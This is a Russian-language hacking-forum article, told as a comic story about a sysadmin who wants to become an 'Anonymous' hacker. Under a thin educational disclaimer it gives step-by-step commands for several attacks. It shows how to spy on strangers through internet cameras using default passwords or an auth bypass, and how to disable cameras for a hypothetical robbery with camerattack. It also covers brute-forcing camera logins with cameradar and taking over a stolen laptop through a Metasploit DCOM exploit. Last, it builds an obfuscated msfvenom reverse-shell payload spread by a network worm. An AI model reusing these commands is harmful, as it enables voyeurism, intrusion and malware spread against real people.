По части технической интерес…
Движут Анонимус общий прогресс.
Вот один возжелал таковым же стать.
Не запрещено ведь детям мечтать.
Но будь осторожен, есть две стороны:
Возможно всё слито, не все мы чисты.
Аноним и совместные усилия.
Движут Анонимус общий прогресс.
Вот один возжелал таковым же стать.
Не запрещено ведь детям мечтать.
Но будь осторожен, есть две стороны:
Возможно всё слито, не все мы чисты.
Аноним и совместные усилия.
И начинаем, поздороваться бы как-то с Вами, ай да ладно. Говорить особо нечего в предисловии. Если вы подумали, что это шестая статья из цикла По горячим следам - ошиблись, на этот раз материал носит сюжетный характер, если здесь ещё остались те, кто такой концепт помнит…( Огромное количество кода в статье имеется). Где-то вот тут должен всплыть дисклеймер, где же он? А вот:
Дисклеймер
На самом деле я против зла и то, что я покажу вам далее, может быть,
практически применено различного рода антагонистами. Сразу предупреждаю, что я, как автор этой писанины , снимаю с себя ответственность за то с каким умыслом будет использована эта информация дальше. Виноват только и только тот, кто применяет знания, но не тот, кто ими делится. Автор лишь преследует благие цели, используя способы и пути злоумышленников, раскрывает суть преступного механизма, открывая людям глаза, демонстрируя способы защиты, ведь лучший протект - это знания. Кстати все персонажи этой статьи являются лишь плодом фантазии автора, все совпадения случайны. Если где-то вы узнали себя или своих знакомых , простите.
Становление величайшего: или как Тадеус Косуке пытался стать анонимусом
Знаете ли вы как должен выглядеть системный администратор? Есть ли какой-то канон внешних очертаний человека по ту сторону Вашего любимого портала? Наверное нет, но определенно существуют две касты людей по суждениям на эту тему. Первая рисует классическую темную лошадку системной части в своем воображении, как какого-то бизнес-мачо: рубашечка, сшитый под заказ костюм, околоспортивное телосложение, всё чисто и опрятно. Вторая же представляет некого маминого геймера-задрота из подвала: тысячи тонн лишнего веса пропорциональны к количеству съеденного фаст-фуда, дешевый спортивный костюм и огромные очки на миллион диоптриев. Но всё это лишь крайнее возможное, а истина, как всегда, находится где-то между. Не так ли?
Маленькая комнатка четыре на три, воздух сперт, духота, доступ дневного света ограничен не тяжелыми занавесками, а простым отсутствием окон, слышен какой-то механический гул. Звук кулера? В самом дальнем уголке помещения расположился стол, а нет, не стол - всего-лишь школьная парта, то что могло оказаться крутым кожаным офисным креслом, в действительности является табуреткой.
Низенький, пухленький мужчинка, спокойно набирает какой-то текст, сидя на этом самом иллюзорном кресле, акцентированные и громкие удары по клавише энтер отбиваются эхом от голых, покрытых плесенью, стен.
Последнее акцентированное нажатие, тяжелый вздох, руки человечка тянутся под стол, банка пива то и дело норовит упасть и взорваться, явно подкованный многогодовой практикой, наш герой мигом её усмиряет.
Разделавшись с пивом на одном дыхании, отбрасывая тень своего силуэта от гаснущего монитора на стену, системный администратор сайта сельского совета, покидает пост, вечер ведь уже. Пора домой.
Пеший путь. Размышления. Мечты. Поправив пиджак поверх спортивного костюма, Тадеус Косуке размышляет о своем великом будущем неуловимого хакера-анонимуса. Примеряя воображаемую маску, он заваливается в однокомнатное логово, где и продолжает практику взломщика: загрузочный экран Кали, покрытый неразборчивым почерком листик. Что нам нём? Написано специально так, чтобы даже самый талантливый графолог не смог прочесть, зашифрованный план на вечер, а поверх очередная банка пива:
- А я знаю, что ты… : или как Тадеус наблюдал за твоими ночными деяниями
- Не в поиске легких путей: или как Косуке халяву учуял
- Как Тадеус червей познавал: подстава подстав от коллеги
Как вдруг просыпается его мать и начинает читать нашему герою нотации, даже не смотря на то, что рожден он был 31 год назад. Но Тадеус настроен решительно, впервые за долгие годы проявив непослушание, начинает работу по своему шифро-плану, уничтожая попутно баночку пенного.
А я знаю, что ты… : или как Тадеус наблюдал за твоими ночными деяниями
Все мы прекрасно знаем, как часто камеры, имеющие доступ в открытую всемирную сеть, компрометируют своих владельцев. Однажды столкнувшись с такой проблемой на работе, Косуке маниакально заклеил все объективы: ноутбука, камер наблюдения и даже телефона. Оно и верно ведь, правда?
Но идея и сама возможность, после десятка просмотренных фильмов о хакерах, управлять чужими камерами и подсматривать за людишками плотно засела в голове нашего любимца - однако круто. Ведь не все настолько зациклены на своей безопасносности и анонимности, что для всех и фатально.
Итак, первым делом наш герой решил пойти путем наименьшего сопротивления, а именно - воспользоваться Шоданом и поискать камеры без надобности авторизироваться или с дефолтными паролями. Правда бюджет не позволяет использовать платную подписку, а довольствоваться первой страницей - не ажур. Но для этого в арсенале будущего Анонимуса Тадеуса имеется интересный скрипт, позволяющий пользоваться нашим хацкерским поисковиком бесплатно. Установка происходит следующим путем:
Код:
git clone https://github.com/whyareyoureyeshere/free_shodan.git
cd free_shodan
pip3 install -r requirements.txt
python3 free_shodan.py желаемый запрос
Искать камеры с дефолтным паролем конечно веселым считает Косуке, но не шибко уж соответствует таким промышлять для будущего Анонимуса, поэтому использовать будем метод слегка изощреннее. Для начала воспользуемся параметром поиска, который будет отображать желаемую… А тут погодите.
Отправной точкой возьмем любую камеру, имеющую веб-интерфейс. Первая оказалась от Хиквижин, но это не так интересно, ведь для неё до сих пор существует рабочий метод подбора пароля/логина через брутфорс Hikka, показывать смысла нет, с этим справится даже младенец, не то что будущий Анонимус. Ищем дальше.
И теперь попался интересный экземпляр, вместо привычной консоли авторизации мы получаем абсолютно белый лист, стало быть здесь ничего нет. Но не так всё просто, теперь Косуке просматривает код страницы, видит, что в заглавии указана модель самой камеры - WV-SP606. Это Панасоник, забавно, ведь теперь осталось лишь узнать дефолтный пароль для сей модели. Делает Тадеус это легко - Admin/12345. “Но куда их вводить?”, - задается он вопросом.
Ответ всё также скрывается в коде элемента, где и скрыта ссылка или на авторизацию, или на саму консоль управления камерой. Забавно, что Тадеус нашел вторую, обойдя любую возможную проверку пользователя. За этим интереснейшим устройством находился пожилой мужчина, который спокойно занимался само… Включите фантазию, дорогие читатели.
Имея наклонности в этом спектре, наш герой несколько часов наблюдал за ним, но после всё же вернулся к делу. Ему было мало простого обхода аутентификации или пользования дефолтом, да, пора расчехлять Кали.
Протокол rtsp для камер, звучит забавно, а ведь и уязвимостей имеет сколько, аж руки чешутся, но сегодня наш герой воспользуется лишь двумя из всего того перечня, времени в обрез, а с утра на работу. Сначала позабавиться решил Тадеуш, представив, что он участвует в каком-то преступлении, допустим он и его сообщники что-то грабят.
Заметьте, автор категорически выступает против всего незаконного, а тем более ограблений.
Задачей юного Анонимуса в этом деле есть на время отключить все камеры в целевом заведении, ну как это делают хакеры в фильмах там. Естественно, можно было бы подобрать пароль, войти в систему и наследить, дать зацепки в расследовании, хотя если вы не криворукий, как Тадеус, то всё будет в норме. Но рассмотрим ситуацию, когда нет возможности войти, стоит какой-то небрутящийся пароль или он меняется каждый час. Но на камере имеется открытый порт - 554, стало быть тот самый протокол RTSP. Тогда есть возможность заставить камеру перезагружаться посредством работы скрипта на ГО. Пополняет инструментарий Анонимуса недоучки - Camerattack.
Сперва Косуке ставит ГО на свою машину. ( Не зря я с этим GO не связывался, но уже ладно, редкая дичь).
Сначала нам нужно скачать сам пакет GO:
Код:
cd ~
curl -O https://dl.google.com/go/go1.12.1.linux-amd64.tar.gz
sudo tar -xvf go1.12.1.linux-amd64.tar.gz -C /usr/local
sudo chown -R root /usr/local/go
Думаете это всё? Нет, теперь нужно сделать нашу библиотеку GO общедоступной, то есть слегка настроить среду. Сперва создаем папку {bin,src}:
Код:
mkdir -p $HOME/go/{bin,src}
А теперь внесем некоторые коррективы в работу профиля самого GO c помощью его редактирования:
Код:
nano ~/.profile
В конец вставляем следующие строки, которые и делают его доступным с любого терминала, без надобности переходить в корневую директорию:
Код:
export GOPATH=$HOME/go
export PATH=$PATH:$GOPATH/bin
export PATH=$PATH:$GOPATH/bin:/usr/local/go/bin
CTRL + O, CTRL+X - сохраняем и закрываем, а теперь обновляем сам файл профиля, чтобы изменения вошли в силу:
Код:
. ~/.profile
И теперь открываем новый терминал и пишем команду для проверки версии GO:
Код:
go version
Если ответ такой, как на скрине, то дело в шляпе. С горем пополам установили, правда Тадеус изрядно попрел над этой задачей.
Наш герой уже было позабыл о цели всего этого действа, а мы нет, поэтому пришла пора ставить скрипт Camattack, а попытаемся мы это делать, да.. Через Go, гори он в Аду синем пламенем.
Сперва проверяем наличие модуля GO111MODULE=on , если версия больше, чем 1.12, то он уже включен, но чем черт не шутит, проверим:
Код:
export GO111MODULE=on
Ничего не произошло, надеемся, что это таки благой знак и он у нас уже есть.
Теперь качаем скрипт из Гитхаб, но с помощью GO:
Код:
go get github.com/ullaakut/camerattack
Молился на него я целые пять минут, а оно его даже скачало, какая радость. О, чудо!
А нет, ошибка.
Знаете, попробуем стандартным методом, перейдём в директорию, где должна лежать наша папочка со скриптом и просто скачаем её туда, посредством git clone:
Код:
cd GOPATH/scr
git clone https://github.com/Ullaakut/camerattack
Эврика! Но не факт, что сработает, ибо в самой установке GO была ошибка.
Запустим установку:
Код:
cd camerattack
go install
Неудача, опять ошибка, а разбираться в этом желания, увы уж, нет. Поэтому воспользуемся Докером, да и всё, ибо гори, как я уже выразился, оно в Аду.
Установка Docker’a будет происходить следующими командами:
Код:
sudo apt-get install \
apt-transport-https \
ca-certificates \
curl \
gnupg \
lsb-release
И скачаем его же самого:
Код:
curl -fsSL https://download.docker.com/linux/debian/gpg | gpg --dearmor | sudo tee /usr/share/keyrings/docker-archive-keyring.gpg >/dev/null;echo 'deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/debian buster stable' | sudo tee /etc/apt/sources.list.d/docker.list;sudo apt-get update;sudo apt-get install -y docker-ce;
Ну и после окончания осталось нашему Тадеушу только проверить работоспособность сие скрипта:
Код:
docker run hello-world
Если видим ответное приветствие от Докера - всё шик, можно продолжать.
Теперь осталось запустить поиск портов по умолчанию на нашей машине:
Код:
docker run --net=host -t ullaakut/camerattack -t localhost
И получаем в ответ ошибку no stream found, но это уже исправить легко. Если такое у нас появилось, значит виртуальная машина не находится в одной подсети с основной. Исправляем это в настройках, здесь Косуке преуспевает.
Повторяем ввод команды и теперь видим, что можем запустить скрипт на порту 4483, что и делаем собственно:
Код:
docker run -v /tmp:/tmp --net=host -t ullaakut/camerattack rtsp://11.44.21.5:554/live.sdp
Первый ввод команды выдаёт ошибку, дальше же получаем сообщение о том, что камера была успешно отключена.
Ну и теперь используем ещё один репозиторий на GO и тоже с помощью Докера, это уже походит на какой-то брутфорс РТСП камер, но да ладно, тоже имеет место быть в практике Тадеуса.
Да, Камерадар, он самый, говорить о нем уже нет чего, ведь все возможные проблемы связанные с докером и прочим юный Анонимус-недомерок уже решил.
Запуск и пример атаки, используя пользовательские словари:
Код:
docker run -v /tmp:/tmp --net=host -t ullaakut/cameradar -t /tmp/test.txt -p 4483
docker run -v /tmp:/tmp --net=host -t ullaakut/cameradar -t 192.168.0.0/24 --custom-credentials="/tmp/dictionaries/credentials.json" --custom-routes="/tmp/dictionaries/routes" -p 554,5554,8554
docker run -v /tmp:/tmp --net=host -t ullaakut/cameradar -T 3s -s 3 -d
Получаем два успешных результата, копируем ссылочку на видеострим и идем в любой плеер, который поддерживает открытие ссылок. Под рукой Тадеуса оказался VLS. Дальше ведь понятно, что делать?
Не в поиске легких путей: или как Косуке ноутбук стащил
Смотря на ворованное устройство, раз от разу Тадеус повторяет мысль в своей голове: он никому не был нужен и лежал на работе уже около двух лет, а мне попрактиковаться нужно на чем-то, я же верну его на место с утра.
Но совесть штука подлая, дабы её усмирить Тадеусу пришлось выпить ещё несколько банок пива и только после приступить к выполнению задач.
Перво-наперво включает он сам ноутбук, но вот незадача - он запаролен. Естественно, это не проблема, любой рядовой пользователь может загуглить и обойти этот пароль, через Биос, допустим.
Хмельное затуманило рассудок нашего героя и ему захотелось чего-то необычного, попытался он зайти в биос конечно - там тоже пароль.
Анализируя ситуацию, Тадеус сложил следующий портрет своей жертвы ночных исследований: марка ноутбука: Леново, операционная система: Windows 10, имеется доступ к WIFI.
После последнего пункта в голове Косуке что-то щелкнуло, то ли от огромного количества спирта в организме, то ли от гениальной идеи. Раз есть общая сеть, почему бы не попытаться получить шелл и из него уже изменить пароль к учетной записи. Да, но как это сделать, задумался Косуке, наверное, проще всего через Метасплоит.
Многие говорят, включая автора, что годы этого инструмента уже прошли, но главный герой видит ситуацию слегка иначе. Метасплоит - основа основ и очень полезная штуковина, которой обязан овладеть начинающий Анонимус.
Первым делом наш Косуке сканирует свою же сеть на устройства, он не знает какая именно у него сеть, ибо пользуется раздачей с телефона, ну прям как автор, поэтому запускает общее сканирование сканирование командой:
Код:
netdiscover
Но здесь возник нюанс поиска и находило лишь два устройства, посему было принято решение превратить мою машину в раздатчик, подключив доступ к интернету через кабель от телефона. После изменить пяти ГГц-овую раздачу на 2.4, ибо целевое устройство просто не видело беспроводную сеть в ряду технической отсталости. Кому интересно, делается это через диспетчер устройств. Спойлер, это не сработало и в итог я просто изменил настройки сети виртуальной машины.
Кстати для теста мне не удалось найти устройство с Windows 10, поэтому довольствуемся старой-доброй семерочкой, но этот способ всё же характерен больше для последней, исключая одиннадцатую, которую я не воспринимаю за полноценную систему, версии, коль там можно подключиться к сети, не проходя авторизации.
Видим следующий результат, в сети находится три устройства, одно из которых точно роутер-телефон, а два остальных - ноутбуки. Исключая основную машину, введя команду ipconfig в командной строке Виндоус, предполагаем, что 192.168.9.152 - это наша жертва.
И вот пришло время запуска Метасполоита, так как Тадеус делает это впервые, ему пришлось гуглить, а нам достаточно ввести в новое окно терминала:
Код:
msfconsole
Но прежде давайте воспользуемся графическим интерфейсом Nmap и просканируем открытые порты:
Код:
zenmap
На удивление ни одного открытого порта кроме 53-его и 135, оказалось отключенная служба Брандмауэра Винды не делает вас уязвимыми до мозга костей.
Тадеус когда-то давно слышал о уязвимости Этернал Блю и решил загуглить как же узнать уязвимо ли устройство, ну и следом вводит такие команды:
Код:
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS
run
Ну и видим, что хост не подвержен такому типу атак. (А вот мой, что очень странно, на десятой винде ещё как уязвим, интересно). Что же делать, Тадеус в замешательстве. Идея пришла сама собой, по после наш Анонимус осознал её тщетность. Загрузиться в безопасном режиме, скинуть пэйлоад, открыть тот и что? Ведь нам нужно как-то запустить это с под основного аккаунта, можно, конечно закинуть в автозагрузку, но последняя начинает свою работу только после входа в учетную запись, а гость тоже запаролен.
Но всё же выход есть, если 53 порт ни Тадеус, ни автор не знает, как можно использовать, то вот с 135 можно побаловаться чутка.
Тадеус решает использовать первый попавшийся RPC эксплоит, надеясь на удачу.
Код:
use exploit/windows/dcerpc/ms03_026_dcom
show options
Исходя из опций нам нужно установить лишь RHOST и пейлоад, что Косуке и делает:
Код:
set rhost 192.168.9.162
А полезную нагрузку будем использовать самую банальную, вот такую:
Код:
set payload windows/meterpreter/reserve_tcp
Следом запустив выполнение эксплоита, ожидает, а после ловит окно с подключением:
Код:
exploit
Теперь Тадеус получил оболочку метерпретер на целевой машине, что дальше?
Для начала он решает осмотреться, прописав следующую команду:
Код:
pwd
Находимся мы на рабочем столе, прикольно, а теперь посмотрим, что же здесь имеется:
Код:
ls
Куча всяких игрушек, скрины и интересный файл с названием “ne otkrivay tyt CP”, наш герой явно заинтересовался, но для начала давайте перейдем в shell, сделаем это следующими командами:
Код:
getuid
shell
И ведь задачей, уже полноценного, Анонимуса было сменить пароль от учетки, поэтому это и сделаем.
Для просмотра списка пользователей используем:
Код:
net user
Больше всего нас интересует аккаунт “Ne lomay pj”, меняем ему пароль, дабы получить доступ:
Код:
net user Ne lomay pj codebynet
Дело сделано, Тадеус дрожащими от перевозбуждения руками вводит пароль, верно лишь с 56-ой попытки, но не суть, теперь он полноценный Анонимус-хакер, можно гордиться собой, не пойдя легкими путями, Косуке достиг своей цели!
А что же это за файлик такой, уже не терпится открыть, он делает это и… Начинается новая глава.
Как Тадеус червей познавал: подстава подстав от коллеги
Верно, на машине, где был запущен этот файл ничего не произошло, поэтому не выключая ноутбук, наш герой ложится на кровать. Слегка расстроившись из-за того, что пометка CP оказалась всего-лишь ничем, он даже не задумался о том, что что-то могло произойти с его устройствами.
А тем временем тот самый коллега Санёк по кличке Васёк Прикольный, начинает реализацию своего хладнокровного плана, который он пытался воплотить в жизнь целых два года.
Простая общажная комната, дырявые окна, картонные стены, следы пожара, тьма. И лишь свет монитора озаряет это помещение, сгорбившись что-то клацает, с маниакальной улыбкой на лице, антагонист сие статейки. Он очень молод, тело явно сильно истощено, его худощавый силуэт оставляет на стене странную тень, похожую на облик демона из какого-то аниме. Санёк не просто секретарь в той же организации, что и Косуке, а и студент IT-шник с превосходным боевым опытом.
Прошлое, годика так два назад. Юный Васёк Прикольный, да, тот который Санёк, только что получил работу в организации, рабочие дни шли быстро, слишком скучно.
Поэтому Санек решает позабавиться над своими сослуживцами по рабочему делу и на коленке создает сетевого червя на питоне, но не для того, чтобы применить это чудо в рабочем помещении. Найдя старый ноутбук, он ставит на все учетные записи очень сложные пароли, прежде выгрузив своё чудо с очень вызывающим названием, которое явно заинтересует большинство работников.
Для нас процесс компиляции и подготовки самого червя будет выглядеть следующим образом:
Код:
git clone https://github.com/rposchinger/networm_py3
cd NetWorm
pip3 install -r requirements.txt
И после запуска питон-файла начнутся попытки входа в учетные записи всех машин, подключенных к локальной сети, если пароль отсутствует - вуаля, а если всё же есть, будет происходить подбор, следом произойдет подгрузка полезной нагрузки на рабочий стол с последующим открытием оболочки метерпретер в слушателе, если владелец её откроет.
Тут автор немного упустит подробностей по доработке скрипта, именно ту часть, где полезная нагрузка подгружается. А о её создании, поговорим.
Первым делом Санек генерирует с помощью Венома и шифрования Shikata ga nai сам пейлоад:
Код:
msfvenom -a x86 --platform Windows -f exe -p windows/meterpreter/reverse_tcp LHOST=192.168.9.83 LPORT=6666 -e x86/shikata_ga_nai -i 13 -b '\x00' > CP.exe
Кстати, с пометкой нулевого байта, как плохого. Но количество обнаружений от этого никак не стало меньше. 48/56 к слову.
А теперь достаточно лишь запустить слушатель в метасплоит:
Код:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.9.83
set LPORT 6666
run
Кстати, штука работает на любой системе без антивирусника, 10-тка, 7-ка, 10.1( то бишь 11-я) - подвержены все.
А имея оболочку Саня уже подгружает полноценный бэкдор, пока Тадеус мирно дрыхнет в пивном угаре.
Стал ли Косуке полноценным анонимусом, как и возжелал на начале? Ответьте вы. Продолжение? Не думаю, но всё может быть.
Выводы
Суммируя всё сказанное и показанное, повторю дисклеймер: лучший протектор - это не антивирус, не заклеенные камеры и никак не перерезанные кабели эзернета, разбитые мониторы и темный подвал даже без радиоволн. Лучшая защита - это ваши знания и понимания хода мыслей преступника.
В случае с камерами, вас подводят сами производители или ваша же беспечность. Оставлять пароль Админ/123123, в 2021 году уже не актуально, но таких идейных гениев мысли тучи, доказано на практике. Перезагрузка камер происходит лишь на определенных моделях видеорегистрирующих устройств, с каждым днем их всё меньше и меньше.
Кстати во время написания этой работы, автор столкнулся со множеством проблем и ошибок, решение некоторых было представлено в статье.
А далее выводы понятны - не будьте беспечными и всё будет пучком. С вами был тот самый DeathDay, а мы закругляемся. Всем доброго здравия и удач. Пока.
Последнее редактирование: